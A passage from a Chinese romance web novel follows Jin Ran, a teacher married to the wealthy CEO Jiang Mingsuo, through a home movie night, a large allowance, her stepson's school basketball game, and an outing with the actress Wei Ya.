金苒眼睛一转,立刻指着江许黎手中的盒子道:“你儿子要送你礼物!” 江许黎:“……” 他动作晚了一步,眼睁睁看着她把礼物递了出去。 对面,江明羧有些诧异地接过。 除了幼时儿子给他的鹅卵石和青蛙,这还是他第一次收到江许黎的礼物,好奇打开后,发现里面是一支精美的钢笔。 他顿了顿,忍不住想起之前金苒说过的话。 ——“肯定害怕你这个严父,哪里敢给你买东西啊。” ——“说不定买的不合心意,还要担心被你凶。” 女人带着情绪的模仿飘荡耳际,他垂眸看向满脸通红的少年,后者故作随意:“正好看到了,就买了,反正花的也是你的钱。” 江明羧挑眉,这支钢笔可是他惯用的牌子。 他也没戳穿,只道:“还缺钱吗,明天我让王助理给你打过去,五十万够么?” 多少?! 一旁的金苒眼睛都亮了,五十万! “那个,”她眼巴巴望向他,“我现在去给你买礼物还来得及吗?” 江明羧一低头,对上一双星辰似的眼眸,一时觉得好笑,事实上,他也笑了出来:“不用,零花钱每个人都有。” 大佬就是大佬,五十万居然只是零花钱! 金苒深深地感动了。 以至于当江明羧询问要不要去看电影的时候,哪怕她有些困,也义不容辞地答应:“好啊。” 江许黎却是不愿意再当电灯泡,在他爸看过来时飞快拒绝:“我还有两套卷子没做完!” 江明羧颔首:“那你回去做吧。” 很快,现场只剩下金苒一个人。 答应的时候很爽快,这会儿低头看了一眼时间,二十一点三十分,金苒心里又有点儿后悔:“现在去影院会不会太晚了?” 打工人的DNA让她牢记着明天得赶早去学校值周,不能熬夜太晚。 “不出去,就在家里看。”江明羧语气平淡,而后便领着她来到三楼的星空影院。 顾名思义,这间房间抬头能看到大片蔚蓝的星空,金苒还是第一次进来,里面的空间其实不算大,但该有的设备应有尽有,座椅是舒服的按摩椅,坐在上面,整个人仿佛陷入到软绵绵的云彩之中。 挑选片子的时候,金苒终于提起了点儿兴趣。 她想起魏雅进入娱乐圈后拍过不少电影,后来喜提一个劳模影后的诨名,存着抱大腿就要先做好功课的心态,找出一部最新的电影,然后打起十二分的精神积极观看起来。 想法很好,可她却忘记了一件事情——现在的女主只是一个小透明,即便能够参演电影,也只是无关紧要的配角甚至正脸难露的龙套。 荧幕上的画面一帧帧闪过,金苒等啊等,等了好久女主都没有出来,反而是睡意重新涌上来。 渐渐的,光影模糊成七彩的色块,演员富有爆发力的哭泣也仿佛隔上一层薄纱,朦朦胧胧听不真切…… 江明羧直视着屏幕上的剧情,忽然感觉肩膀一沉。 他偏过头,方才还信誓旦旦要“认真观摩学习”的金苒,这会儿已经靠在他身上睡着了。 光线明明灭灭,几息掠过女人安静的睡颜,她皮肤很白,这会儿半掩在阴影里,映衬着面容更加莹润。 湿浓的唇瓣微微张着,露出几颗皓齿,乌睫卷翘,在脸颊投下细碎的阴影。 “唔江明羧。” 睡梦中的金苒呢喃着什么,脸颊无意识地往男人的颈窝处蹭,温热的呼吸喷洒而出,瞬间激起密密麻麻的痒意。 江明羧一动不动。 半晌,他才开口:“怎么了?” 语气听不出变化,甚至还有点温和。 金苒却不会回答,只一味断断续续嘟囔着什么梦呓。 江明羧叹了口气,不得不低头倾身去听。 可就在他低头的瞬间,怀里的女人也不舒服地动了动,顷刻间,有一个温温软软的触感擦过脸颊,如羽毛拂过,轻飘飘的不带任何涟漪。 江明羧呼吸猛地一滞。 熟透的石榴爆开表皮,显露出饱满多汁的颗颗果粒,酸甜香味扩散,将漫步其中的人沾染满身的花和蜜,金苒对此似乎一无所知,在他怀里不老实地翻来翻去,最后才找到一个舒适的角落,轻轻翻了个身。江明羧眸色逐渐沉下,任由着那抹湿润的触感灼烧皮肤。 只扣住腰肢的手不自觉收紧,带着茧的指尖按入软肉,力气大到睡梦中的金苒难受地哼了哼,他似乎如梦初醒,倏然松开。 光线重新变得黯淡,昏沉的室内,呼吸交织着不安分的躁动,偌大的银幕开始上演俗套的男女告白戏码。 江明羧什么也没有听进去,他垂眸看着近在咫尺的睡颜,耳边只剩下那句轻的风一吹就散的嘟囔声。 “江明羧……生日快乐。” 第48章 第48章荷尔蒙和短暂的感官冲动…… 不知不觉中,电影已经接近尾声。 魏雅出演的角色终于露了面,在男女主的婚宴上,她是众多背景板宾客里面的其中一员。 江明羧看着因为睡姿不舒服而翻了好几次身的金苒,终究还是没有叫醒她,沉默了许久,觉得还是不能放任对方睡在沙发上,弯腰将金苒公主抱起来。 刚揽入怀中,感受到热源的金苒便无意识地往他怀里钻,白皙的脸颊紧贴着胸膛,像是在寻找最舒适的姿势,却让江明羧额头青筋直跳。 他甚至一度怀疑,她到底有没有睡着。 “啪嗒——” 起身的时候,一本书从身上掉到地面。 江明羧忍了好一会儿,最后不得不单手箍住女人不安分的手臂,俯身用另外一只手去捡那本书,这样的情况下,实在腾不出空再做其他事,只得先抱着人往门外走,他出了房间,正要下楼,隔壁听到动静的江许黎悄悄推开门。 四目相对,父子俩人俱静默无言。 不过江明羧毕竟是成熟的大人,面上丝毫不显异样,只淡淡开口:“帮我把里面的投影关一下。” 江许黎:“啊?哦。” 少年点头答应,随后装作若无其事的样子,极其不经意地瞥了一眼窝在他爸怀里的金苒,“她睡着了?” 江明羧点头,临走前破天荒说了一句:“时间不早了,你也早点睡。” 江许黎:啊这,他爸今天怎么这么好说话啊。 “好。” 他嘴 上这样回答。 父子两人在三楼分开。 江许黎目送着两人离开,这才慢吞吞地趿拉着拖鞋走进他们家的影院,借着昏暗的光线,他关掉放映器,心里暗暗懊悔——早知道就不该出来看这一眼,撞见这样的场面实在尴尬。 又想到金苒刚才窝在父亲怀里的模样,少年忍不住撇了撇嘴,看个电影都能睡着,简直跟小孩子似的。 / 金苒这一觉睡得非常深,第二天起床后,神清气爽。 她觉得自己这辈子大概都不会被失眠困扰——要是真睡不着,喝点小酒就能解决。 不过望着熟悉的卧室陈设,大脑后知后觉反应过来——昨晚自己不是和江明羧在三楼看电影吗? 她当时很困很困,但也没有到失去意识的状态,电影无聊且冗长,里面的情节却让她在某个瞬间醍醐灌顶:烛光晚餐、私人影院、精心准备的礼物……这些不都是男主为女主庆生时的经典桥段吗? 金苒甚至想起了自己发现真相时,一瞬间的懊恼心情,但因为没有准备礼物,她并未立刻表示祝贺,而是打算事后补上。 中途实在太困,金苒脑袋一点一点,迷迷糊糊靠在了江明羧肩上。其实刚接触的那一刻她就醒了,原本打算不动声色地挪开,结果动作间,嘴唇不小心擦过了什么。 触感很轻,略微凉意的皮肤上,新生的胡茬显得短而硬,唇瓣摩擦带起的粗粝感,像被人用力狠狠地碾了一下,泛起难忍的痒。 意识到那是什么,金苒浑身僵硬,更不敢醒了。 她能感觉到江明羧在看自己,灼热的视线有如实质,烫得喝下去的酒水都似乎挥发出来,她只能紧紧闭着眼睛,在脑海里催眠自己已经睡着,催着催着,最后竟模模糊糊真睡着了。 所以是他把自己送回来的? 想到那样的画面,金苒莫名有些羞耻。 不过她又觉得一晚上过去,江明羧很可能已经忘记了,如同她忘记他掐她腰时用的力度,几乎在腰间留下一圈痕迹。 就这样,金苒成功把自己说服,转而开始动手洗漱化妆。 从衣帽间挑了一件浅杏色的真丝衬衫和高腰A字裙,拉上拉链,裁剪得体的样式衬得腰肢纤细,同时又……一本正经。 没办法,自从当老师,她基本和什么露脐装、超短裤,锁骨裙说再见,穿着打扮逐渐朝着庄重、威严的方向发展。 往那一站就是老师。 她照了照镜子,有些不满,觉得自己瞬间老了五岁。 却不知落到其他人眼中,又是另外的感觉。 下楼时,江明羧正在喝咖啡,男人最近似乎爱上了咖啡,对这种苦涩的饮料很是喜欢。 听到动静后,抬起眸子。 晨间的阳光透过落地窗,斜斜打在金苒的身上,仿佛镀了一层淡金的薄雾,杏色这种颜色,大部分人穿着显黑,金苒却能够很好驾驭,露出来的锁骨和脖颈白得让人恍惚;裙摆长至脚踝,走动间,纤细的小腿若隐若现。 更不用说眉眼间的伶俐,好似一滩注入活力的死水,搅弄着春和景明。 他目光深黯锐利,直直地看过去,且没有要移开的意思。 下楼的金苒脚步一顿。 完了完了,怎么感觉对方还记着昨晚的事情?! 这个认知让金苒呼吸停止,刚刚做好的心理建设重新垮台。 耳根有些发烫,脸颊也跟着绷紧,表面却要装作从容的样子,端着三分糖豆浆坐到男人对面,目光往三楼看:“小黎呢?” 江明羧察觉到她的紧张,眼底流露出一丝笑意:“补习老师约他早晨背诵检查,半个小时前已经出门。” 自从拜托徐珍帮江许黎补习后,金苒便没有问过辅导安排,没想到对方如此尽心。 不由得有些感动,决定周末得请王厨多做几道拿手好菜,好好犒劳对方。 两人一起用完早餐,期间,对面时不时的视线让金苒如坐针毡,饭后,再一起坐车出门,狭小的车内空间,气氛变得更加暧昧。 金苒从未觉得旁边的人这么有存在感。 这种存在感是强势的,苍劲有力的,仿佛浓郁的酒,可以渗透任何阻碍,味道四处弥漫。 明明他已经不再看她,她却仿佛还能感受到那股视线,偶尔她抬头看过去,江明羧也察觉到什么,两人的视线在空中交汇,怔然,然后拉丝似的扯不断。 好几次,她都能感觉到他们之间的氛围已经推进到某个程度,只差捅破最后一层薄薄的窗户纸。 这时,江明羧突然开口:“拉拢投资的事情进展如何?” 金苒还在想如果捅破了窗户纸,她要做出什么反应,是矜持一点,还是保持高冷,猛不丁被问了这么一个问题,有些没有反应过来。 江明羧便说:“上次帮你修改的推介方案,还不知道效果如何。” 金苒瞬间明白过来。 那份出众的恨不得让她裱起来的方案是江明羧的成功之作,像他这样的商人,大概率对自己很有信心,见“项目”迟迟没有结果,肯定要询问一下情况。 “有一点进展。” 金苒这样说。 同时紧绷的精神逐渐松弛下来,不再感到不自在。 她想了想,觉得没有什么不能说的,于是把校长给她的安排告诉江明羧,提及“家长参观会”的时候,意识到眼前这位也是学生家长,而且是很有钱的学生家长。 笑着问:“江总要不要来啊?” 还记得最初文承中学面试的时候,徐珍向自己透露的小道消息,说明技科技会资助文承创立基金会,推行“名校+企业”的合作模式,不过进入学校后反而再也没有听到过。 江明羧并未一口答应,反而问:“金老师希望我去吗?” 夫妻两人,一个叫江总,一个叫金老师,客气的语调在此刻听着有些别样的搞笑。 金苒眨眨眼,坦诚承认:“当然希望啊,你可是明技科技的总裁,如果来我们学校,校长都要夹道欢迎,而且你还没有来过学校吧?如果小黎在学校里看见你,肯定会非常惊喜。” 谈及工作,她的思维总是敏捷的。 江明羧故作沉思,终于在对方紧张到快要喘不过气时,笑着点头:“如果有时间的话我会过去看一看。” “那可说好了,不能反悔。” “嗯。” 等看到文承中学的门口的大石匾,快要迟到的金苒连忙拿起包包,顺手解开安全带,下车的时候江明羧又叫住她,递过来一本书:“昨晚你落下的东西,物归原主。” 金苒没有多想,接了过来。 车子离开,她站在满是学生的校门口,望着早就看不见的人影,不知是遗憾还是松了口气。 她不是傻子,早就察觉到这段时间江明羧对自己的态度的变化,一开始,她以为对方被原身打动,后来发现他发现自己的秘密,心里说不开心是假的。 而她对江明羧,恰好也有些欣赏和好感。 不过这点儿好感和喜欢小三花,觉得路边的花花草草可爱是一样的,流于表面,并不深刻,后续会如何发展,她自己并不清楚。 说她冷硬也好,无情也好,如果是十七八岁的年纪,金苒或许会凭着荷尔蒙和短暂的感官冲动,轰轰烈烈和江明羧谈一场恋爱,但问题是她现在二十五岁,是个成熟稳重的成年人,活了两辈子,早就过了因为一点点心动而不计后果的阶段。 如果未来她会重新踏进一段感情关系,那么这段感情势必是放松的,让她感觉不到一丝一毫的压力。 连她都这样想,比她还要大十岁的江明羧更不可能了。 所以在车上,尽管气氛已经升到合适的高度,双方谁都没有戳破那个点。 金苒摇了摇头,算了,自己现在还有好多事情要做,感情的事情还是顺其自然吧。 这样想着,她一脸成熟地来到办公室,距离上班打卡的时间还有十分钟,她准备好资料后仍有空余,百无聊赖时瞥见自己一路拿着的小说,随手翻了开。 片刻后。 噗—— 她果然还是无法做到成熟啊! 第49章 第49章这小子是有点帅 因为徐珍的“好意”,金苒一白天的时间,都处于社死过程中。 她有心试 探一下江明羧有没有看过,但又不知道该如何开口,总不能问——你知道我看的那本小说是小黄书吧? 只要想想,她就尴尬到脚趾抠地,觉得自己的一世英名被毁了。 这样的情况一直持续到午间在食堂吃饭,金苒正味同嚼蜡地吃着食堂美食,手机突然跳出来一条消息,提示银行卡收到一笔两百万的入账。 她猛地站起来! 两百万!?不是说零花钱只有五十万吗! 徐珍莫名其妙:“怎么了?” 金苒却顾不得回答小姐妹的话,五指纷飞给江明羧发信息。 当然发信息也是有技巧的,不能单刀直入,显得她好像多爱钱似的。但又不能太过委婉,否则以江明羧那样的大忙人,不一定有时间听她闲聊:【戳一戳】 【(小熊探头)那个,我收到了一笔转账,但不是五十万,而是两百万,会不会是王助理多打了一个零啊?】 心里却是飞速思考,即便多打了零,首位数字也应该是五而不是二,而且王特助是谁啊,明技科技总裁手下第一特助,绝对不可能犯这样的低级错误,意识到此,她心脏控制不住扑通扑通跳跃,仿佛揣着只兔子。 终于,在她苦苦的等待下——实际就过了三秒,手中的手机震动了一下。 江明羧:【没有弄错,是两百万,这段时间是我疏忽了,以后每个月都会给你。】 金苒:“!!!” 这是什么天大的喜讯! 从前的她大喊独立自由,绝对不吃嗟来之食,现在才发现是她清高了,世界上有谁不喜欢不劳而获呢? 更让人高兴的是,江明羧主动问她:【昨天那本书掉到了地上,没有弄坏吧?】 【啊…我没注意呢,你当时没有翻看吗?】 对面很快回复:【当时因为抱着你没有空闲,捡起来后就放到了一边。】 “!” 老天奶,什么叫喜上加喜啊! 至于那句“抱着你”,只当没有看见,轻飘飘抛在脑后~ 因为太过开心,金苒脸上的笑容止都止不住,旁边的徐珍忍不住露出担忧的神色:“苒苒,你要是不舒服,我们可以去医院看看。” 金苒回过神,她现在需要的不是去医院,而是去shopping,当即扭头地对徐珍说:“你不是要吃阿根达斯吗,今天就去买,我请客!” 徐珍一开始还拒绝:“算了吧,阿根达斯太贵了,我吃小布丁就行。” 现代人的消费习惯:八十块的阿根达斯嫌弃贵,一块钱的小布丁库库旋十根! “没事,我有钱!” 徐珍狐疑地看着她:“咱俩这交情,你可别打肿脸充胖子啊。”她也是最近才知道金苒身为江太太,不仅需要出门工作,而且连张霸总的黑卡都没有混到。 听说这件事情的时候,江明羧在她那儿的苏感都降低了。 没想到金苒神秘兮兮地把手机展示给她看,笑得像偷了蜜的蜜蜂:“放心,江明羧刚给我打了一笔零花钱。” “???” 望着手机里数不尽的一串零,徐珍倒吸一口凉气,她错了,她为什么共情一个豪门太太?顿时咬牙切齿道:“吃!吃阿根达斯,我要吃十盒!” 两人手挎手往学校外的便利店去。 路上,有三五成群同样结伴的学生朝着操场方向走,金苒便在其中看到了几个三班的学生,恰好他们也看到了金苒和徐珍,立刻过来问好:“金老师!” 金苒点点头,好奇问:“你们这节课是体育课?” 王舒雅垂头丧气地点点头:“对啊,这么热的天,我宁愿在教室里上晚自习。” “体育老师还说要八百米测试,”其他女生同样郁闷,简直都快要哭了,“上次体育课,好多人都中暑了。” “啧,你们女生就是矫情。”路过的陈训良非常大男子主义地开口,“要上自习你们上,我和黎哥他们还要去打篮球。” “陈训良你说什么呢!” “就是,你这种从非洲来的黑炭,当然不怕晒咯。” 女生们顿时不满意了。 三十五度的天气,热得塑胶跑道都泛着扭曲的热浪,偏偏他们班的体育老师还爱让学生站在太阳底下,女生脸皮薄,不一会儿就晒得面红耳赤,更不用说跑步了。 “也不知道什么时候室内体育馆才能建好啊。” 陈训良高高扬起下巴:“这有什么好疑惑的,按照咱们学校的速度,等我们毕业后肯定就建好了哈哈哈哈哈哈……” 话音未落就被一个泼辣的女孩子逮住,照着后背哐哐几拳:“陈训良你这个乌鸦嘴赶快闭嘴!” 后者嗷的一声:“我这是合理推测,你们恼羞成怒!”一边放狠话一边上蹿下跳,活像只炸毛的猴子,看得金苒忍俊不禁。 眼见少年就要被群起而攻之,金苒这才笑着出声制止:“好了好了,再闹下去要迟到了。” 相比较皮猴似的男生,女同学一向懂事听话,和金苒挥手告别,才生无可恋地离开。 躲过一劫的陈训良实在委屈极了。 他明明说的是真话,而且黎哥的脾气比他要差,上次还嫌弃给他送水的女生,凭什么这些女生不打他啊。 如果金苒知道他的想法,一定会告诉他,这个世界上有一个词叫做颜控。 “你不去?”她问站在原地的人。 “哦,马上马上。”陈训良笑嘻嘻,“我要在这等黎哥,他去器材室拿篮球了,我们和六班那群犊……读书一般的学生约了打篮球,老师要不要来看啊?!” 不用别人问,他自己噼里啪啦全部交代出来。 金苒根本没有打算问江许黎,但经他一提,忍不住想,不知道江许黎的零花钱有没有变多? “我还要和徐老师去便利店,就不去看了,你们加油。” 陈训良也只是随口一问,她要是答应他还害怕呢,心里刚刚松了口气,转念又听到“便利店”三个字,突然觉得嘴巴有点儿渴。 学校里的食堂只卖饭菜不卖零食,学生们想吃零食得去校外的便利店买,以往陈训良经常翻墙出去,可自从黎哥不再翻墙逃课,他连买瓶饮料都成了难题。 想着这场球还不知道要打多久,眼珠子转了转,陈训良可怜巴巴地请求:“金老师,能不能给小的带瓶饮料啊?” 不是多么难的事情:“你要喝什么?” “我要两瓶冰镇绿茶!最好配合卫龙辣条,最近想吃垃圾食品。” 金苒点了点头,想到刚才陈训良说江许黎也要打篮球,顺便问了句:“你黎哥喜欢喝什么呀?” 陈训良愣了愣,反应过来立刻道:“黎哥喜欢喝可乐,所以可以给他买两瓶矿泉水。” “?” “嘿嘿,惯哥如杀哥,我这是为黎哥好!” 金苒好笑不已:“行,你就等着吧。” / 十分钟后,拿到篮球的江许黎姗姗来迟。 两人先去操场,在体育老师的要求下跑完一千米的体侧,对于女同学有些困难的距离,两人却是轻轻松松通过,江许黎甚至气不喘心不跳,权当是赛前热身。 等到三六班的比赛开始,他又在场上表现出绝佳球技,惹得围观的女生欢呼声不停,刚中场休息,就有女同学拿着矿泉水过来:“江同学,请你喝水。” 江许黎直接拒绝:“不喝。” 女生虽然遗憾,但显然听说过他的习惯,红着脸恭喜几人赢球后,便转身跑去找小姐妹,江许黎掀起t恤下摆擦了一把汗,拿起水杯准备去接水,转头看到屁股扎根那儿的陈训良,踢了一脚:“不接水?” “不用接,我让人买了饮料。” 陈训良老神在在。 江许黎诧异地挑起一边眉毛:“你让谁买的?” 学校为了防止学生逃课,新一周在后墙那儿围了不少尖刺的铁栅栏,算是彻底断绝了爬墙出去的机会。 陈训良看着他笑得奸诈,好像在耍什么小心思,这让江许黎有些不好预 感。 果然下一秒就听见说:“来的路上碰见金老师,我拜托金老师帮忙买的,知道黎哥你也打篮球,她还特意问你喜欢喝什么。” 江许黎:“?” 陈训良摸着下巴思考,不知道是不是错觉:“总感觉金老师今天好像很开心的样子。” 那种开心是从由内而外散发出来的,明亮又夺目,让他一时都不敢多看。 他说的绘声绘色,闻言,江许黎眼神逐渐变得不对劲。 陈训良可是数学学渣,课堂上基本不会回答问题,他怎么不知道他们什么时候这么熟了? 心情逐渐有些复杂,到底没有什么资格说什么,他想了想,放下手里的水杯和陈训良一起等着。 金苒不知道兄弟俩的对话。 卡里突然多出200万,且以后每个月都有一大笔零花钱,这让她有一种穷人乍富的心理,一进超市,就拉着徐珍开启了疯狂购物模式。 不仅豪气地买了双份哈根达斯,最后还大手一挥,给全班同学都带上了冰镇饮料。 拜托便利店的老板帮忙搬过去,金苒和徐珍先一步回学校,因为徐珍要准备下午的课案,两人便在学校门口分开,金苒独自带着饮料去操场。 远远的,就听见传来此起彼伏的欢呼声。 金苒心中升起一丝好奇,很少见体育课这样激动的,绕路走上篮球场旁边的观看台,正好看见少年高高跃起的身影。 午后的阳光穿过江许黎扬起的发梢,汗水尽情挥洒,在空气中划出晶莹的弧线,只见他躲过众人的拦阻,一个高高跃起,单手扣住篮筐入球。 夏风肆意吹拂,动作间白t下摆轻轻扬起,露出一截劲瘦的腰线。 身旁自发组成的啦啦队激动地欢呼:“啊啊啊!江许黎进球了!” “好帅啊,刚才那个扣篮画面简直可以拍成电影!” 十四五的女孩,青春洋溢,热情澎湃,便是叽叽喳喳也别有趣味,被热闹的氛围感染,金苒感觉自己也变年轻了,想到她大学时期也爱和室友们去篮球场看帅哥打篮球,没忍住,跟着旁边的女生鼓起掌来。 别的不说,这小子是有点帅。 篮球场上,奔跑中的江许黎余光扫到看台上的身影,脚步微不可察地顿了一瞬。 “哎呀,黎哥快接球!”陈训良急得直跺脚。 江许黎抿了抿嘴唇,迅速收回视线继续跑动,只不过很快其他人便发现他打的更狠了,攻势凌厉不讲道理,于是原本还胶着的比分被迅速拉开,最终以十分的优势彻底碾压六班。 众人:??? 陈训良更是一脸懵。 他和黎哥打球这么久,对方向来都是胜负随心,懒懒散散的态度,今天怎么突然一反常态啊。 不过这份疑惑很快就被抛到脑后,看到金苒提着塑料袋走来,他立刻兴奋地迎上去:“金老师,饮料买来了吗?” “买好了,”金苒晃了晃手中的袋子,笑道,“两瓶绿茶加卫龙辣条,还有两瓶你特意交代的矿泉水。” 后面犹犹豫豫,慢吞吞走过来的江许黎闻言立刻看向陈训良,后者心虚地缩了缩脖子,干笑几声:“那个,矿泉水健康又好喝。” 这下江许黎还有什么不明白的? 想到对方前前后后一个劲提及的样子,果然人在做坏事的时候,永远不会觉得累。 他颇为无语地翻了个白眼,走到金苒面前的时候,又收敛表情,在对方明艳的笑容中接过矿泉水,触感清凉带着水汽,居然是冰镇的:“多少钱?” 金苒现在最不缺的就是钱,咳,当然也是因为矿泉水并不贵,如果是其他东西,她就没办法像现在这般,站在两个高中生面前,非常大方地摆摆手:“天气这么热,就当我请你们的吧。” 陈训良嘿嘿笑:“金老师大气,下次评最美教师,我一定选您!” 江许黎:“……” 他现在只想把这个马屁精给踹走。 不过嘴里也别扭道谢:“谢谢。” 同样的话,说第二遍,他发现居然也没有那么难。 金苒挥挥手,没事没事,反正是你爸的钱。 想到这,又想起卡里的巨款,突然有些好奇:“对了,你爸给你零花钱了吗?” “给了。” “多少啊?” 江许黎闻言抬头望过去,眼睛里带着点儿疑惑,以为她忘记了:“五十万,今天中午王助理转的账。” 却不想听到这个答案的金苒微微一怔。 所以只有她一个人变了? 第50章 第50章江总肯定很爱您…… 金苒是看到学生们的篮球比赛,才突发奇想,决定用比赛来代替表演。 家长参观会的核心目标是让文承中学的那些潜在投资者——财力雄厚的企业老总,关心孩子的豪门太太,对文承中学产生更深的认同。 硬件设施和师资力量固然是一方面,但学生的精神状态同样重要,而这时候,一场充满活力的体育课,恰好可以代替校长安排的“学生表演”。 一来它不需要花费时间彩排,二来在家长眼中它是真实的,竞技的热度、青春的张力,远比程式化的表演更具感染力。连她今天都为之心潮澎湃,那些见惯了大场面的家长看到这副场景,或许兴致一来,当场拍板捐建一座室内体育馆也不是不可能。 金苒非常大胆地梦想着。 不过要做到这一点,单凭她一个是无法完成的。 某个大课间,金苒把准备补眠的江许黎叫到走廊上:“江同学,老师有件事情需要你帮忙。” 放在以前,江许黎绝对听都不听便一口拒绝,现在看着金苒那张眉眼弯弯的笑脸,他发现自己居然说不出拒绝的话! 只能倔强表达为数不多的叛逆:“你……先说说看。” “其实不是什么特别难的事情,”金苒浅笑,“你能不能帮我找几个篮球打得好的学生?过几天我想组织一场篮球比赛,到时候会有家长过来参观。” 江许黎思考,他倒是经常和其他学生打篮球,但如果换成表演,那些人不一定会答应。 那边,金苒从身后拿出一盒饼干,语气充满诱惑:“王厨新做的奥利奥口味的饼干很好吃,我特意给你留了一份,连你爸都没有。” 江许黎:“……” 一瞬间,少年表情变得复杂。 他很想说自己不是小孩子,也没有特别爱吃零食。 可或许从小到大都没有体会过被当做孩子哄的经历,那种微妙的、特别对待的感觉,让他犹豫了下。 最后,他伸手把东西拿过来,另外一只手插兜,表情酷酷的:“我只能帮你问一下,他们会不会参加,不能保证。” “嗯嗯,问问就可以!” 金苒的目的也只是如此,成了是意外之喜,失败也无伤大雅,她并没有把所有的筹码都压到这上面。 等江许黎回到教室,闻着味道过来的陈训良看见熟悉的饼干盒子,一脸了然:“金老师又给你送吃的了?” 江许黎不置可否。 “她让我帮她办点儿事。” 平日里打篮球,两人一般是共同行动,江许黎不爱说话,交流的事情都是陈训良负责,听完金苒的要求后,后者立刻拍了怕胸膛:“这有什么,我去帮你们找人。” “不过……”眼珠子转了转,目光暗示性地往那盒饼干上飘,“既然我也出力了,这饼干是不是应该有我的一份啊。” 江许黎:“……” 饶是他再不通人情,也知道请人办事要给报酬,打开盒子,从里面分出两片……中的一片给对方。 “吃吧。” 陈训良眼睛都瞪圆了。 他难以置信:“就这些?” 明明那盒子里面有十几片呢! 江许黎觑了他一眼,伸手就要把那唯一的饼干拿回来:“我找其他人。” “哎别别别!”陈训良一个眼疾手快把饼干塞嘴里,心里暗道黎哥越来越抠门,但很快,他顾不得吐槽,被口中的味道所吸引。 入口即化的小饼干味道醇厚浓郁,可可和奶香糅合,香到让人恨不得把舌头咬下来,听说似乎是金苒指导着江家的厨师做出来的,确实很好吃。 为了以后还能够蹭吃蹭喝,陈训良格外卖力地张罗起来,并在很短的时间内召集起一群经常打球的 伙伴。 没过几天,六人篮球小队组建完成。金苒没有安排专业训练,只是请大家在参观会当天来撑撑场面。 几个学生当即拍着胸脯一口答应,保证绝对没问题。 眨眼到了周五。 临近放假,文承中学的老师开始忙碌起来,金苒作为代课老师,只负责高一三班一个年级,倒是比其他人要轻松,上午最后一节课结束,她背着包包提前离开学校。 出校门的时候,在门口偶遇来学校给弟弟送东西的魏雅。 这还是自上次分别后,两人第一次见面,魏雅穿着简单的t恤牛仔裤,素净的脸上未施粉黛,却有种清水出芙蓉的清新感:“金小姐。”她主动打招呼。 “你怎么来学校了?”金苒有些意外。 “来给我弟弟送衣服,老师说他衣服弄湿了。” 闻言,金苒下意识皱眉,魏雅看见她的表情便知道她误会了,连忙解释:“这次是他自己不小心,看到池子中的鱼想伸手抓,没有注意脚下,一不留神滑进水里。” 自闭症就是这样,往往存在行为刻板的表现,会对特定事物极度痴迷,异常专注。 魏家父母双亡,身为女主的魏雅从小照顾弟弟,从生活起居到康复治疗,事无巨细地操持着,从未有过一丝怨言,即便家里穷到揭不开锅也始终咬牙坚持。 凭心而论,换作大部分人,恐怕都不能像对方这般数年如一日地耐心付出。 魏雅倒从未觉得苦。她心中有存着喜事,这会儿感激地看向金苒:“金小姐,我今天通过了陈铎导演的电视剧选拔,拿到了里面女三号的角色。” 事实上,她刚才就是从陈铎导演那边过来的。 电视剧试镜安排在一个居民楼里,魏雅期初并未抱太大希望,因为现场挤满了人,有当红影后小花也有漂亮的网红,而她只是其中最平平无奇的一个。 但机会难得,魏雅不愿意放弃,她唯一能做的,就是努力将自己的理解表演出来,不求结果,只求无愧于心,没想到反而被陈铎导演看中,和另外一位小花旦当场被确定下来。 白纸黑字的合同,意味着后续对方想要反悔,也需要根据合同赔偿违约金,无论如何对魏雅来说,都是旱涝保收的保障。 金苒很是高兴:“这是你的第一部古装剧吧?恭喜!” 魏雅面颊红润,看的出同样欢喜:“谢谢您。”她真诚地鞠了一躬。 “哎呀,别这样,”金苒无奈地避开一步,“这都是你自己的功劳,是你的演技打动了导演,所以导演才会选择你。” 不是的,魏雅心想。 如果不是江总牵线搭头,陈导那样的大忙人哪里会有时间专门面试自己一个十八线演员,而她看的出,江总之所以帮自己,则是因为金苒。 心里充满无以言表的感激,想到这儿,她略紧张地询问:“金小姐有时间吗,如果可以的话我想请您一起吃饭。” “好啊。” 面对原书女主邀约,金苒爽快答应。 她原本是打算去驾校练车,不过多半天少半天对她现在的技术而言没有什么区别。 两人去了附近新开的大商场。 从大众点评上找到一家物美价廉的砂锅小吃,魏雅一开始还有些不好意思,觉得价格便宜,金苒却说:“我最近特别想念这一口,趁着没有人管我,可得好好解解馋!” 魏雅有些诧异:“难道江总不让您吃?” 金苒:“那倒没有,不过他更喜欢去各种餐厅菜馆。” 然后点一大桌子不同菜系的菜,每道都要细品慢尝,旁人那边都夹第三筷子了,他第一口还没咽下去。 偏偏金苒的胃更习惯路边小吃的大油大盐:“他还不让我吃冰,真的好烦啊。” 闻言,魏雅捂着嘴笑起来:“江总肯定很爱您。” 金苒脸微微红:“我看他只是看不得别人吃好吃的。” 话虽如此,心里却知道是上次自己痛经后,江明羧才有了这个习惯,不由得耳根发烫:“别说他了,我们去吃饭。” 三道砂锅菜外加和一道甜品,糖渍圣女果,只花费了一百二十元,两人一边聊天一边吃饭,不知不觉中竟全部吃光了,肚子撑得不行,金苒提议在商场里逛一逛。 “嗯,天气越来越热了,我打算给我弟弟买件新衣服。” 金苒闻言心中一动,忽然想起自己还欠江明羧一件生日礼物。 虽然对方从未提起,但她毕竟收了他二百万的零花钱,若是连件像样的礼物都不准备,实在说不过去。 “那我和你一起去。” / 各大品牌商店,今日迎来了两个面容姣好的女客人。 能做到金牌顾问的,早就练就了一双火眼金睛,这两人无论从气质还是穿着打扮来说,都是人群中的佼佼者,尤其稍微矮一点的那位,身上穿的碎花长裙如果没有看错,是BrunelloCucinelli的夏季最新款,隔壁旗舰店甚至都没有上新。 这不算什么,毕竟裙子再贵也不过几万块钱,但她背的包包却是早就停产的钻扣鳄鱼皮,价值高达八位数! 顾问毫无犹豫,立刻热情地迎上去。 “两位女士,请问有什么需要我为你们服务的吗?” 金苒咳了咳:“我们自己看看,有需要会叫你。” 现在的很多人都不喜欢买衣服的时候被跟着,顾问很是理解,于是她站在离两人不远不近的位置,既不会打扰,也方便两人有什么要求,她可以及时发现。 等人走了,金苒才小心翼翼翻过衣服的吊牌。 八万。 “好贵啊。”她瞬间瞪大眼睛。 魏雅深有感慨地点了点头。 她现在拍一场戏才一千块,而且这钱还要被公司收走一部分,虽然希望能够给弟弟买好点儿的衣裳,但有心无力。来这里之前,她们先去地下商城,花几百块买了两身套装,平均一件五六十块。 金苒实在无法想象江明羧穿几十块的衣服,到了男人那样的地位,穿衣打扮不止是对品质有要求,更重要是一种外在形象。 如果让人看到江明羧穿几十块的路边摊,那些合作商估计会以为明技科技的资金链出现了问题。 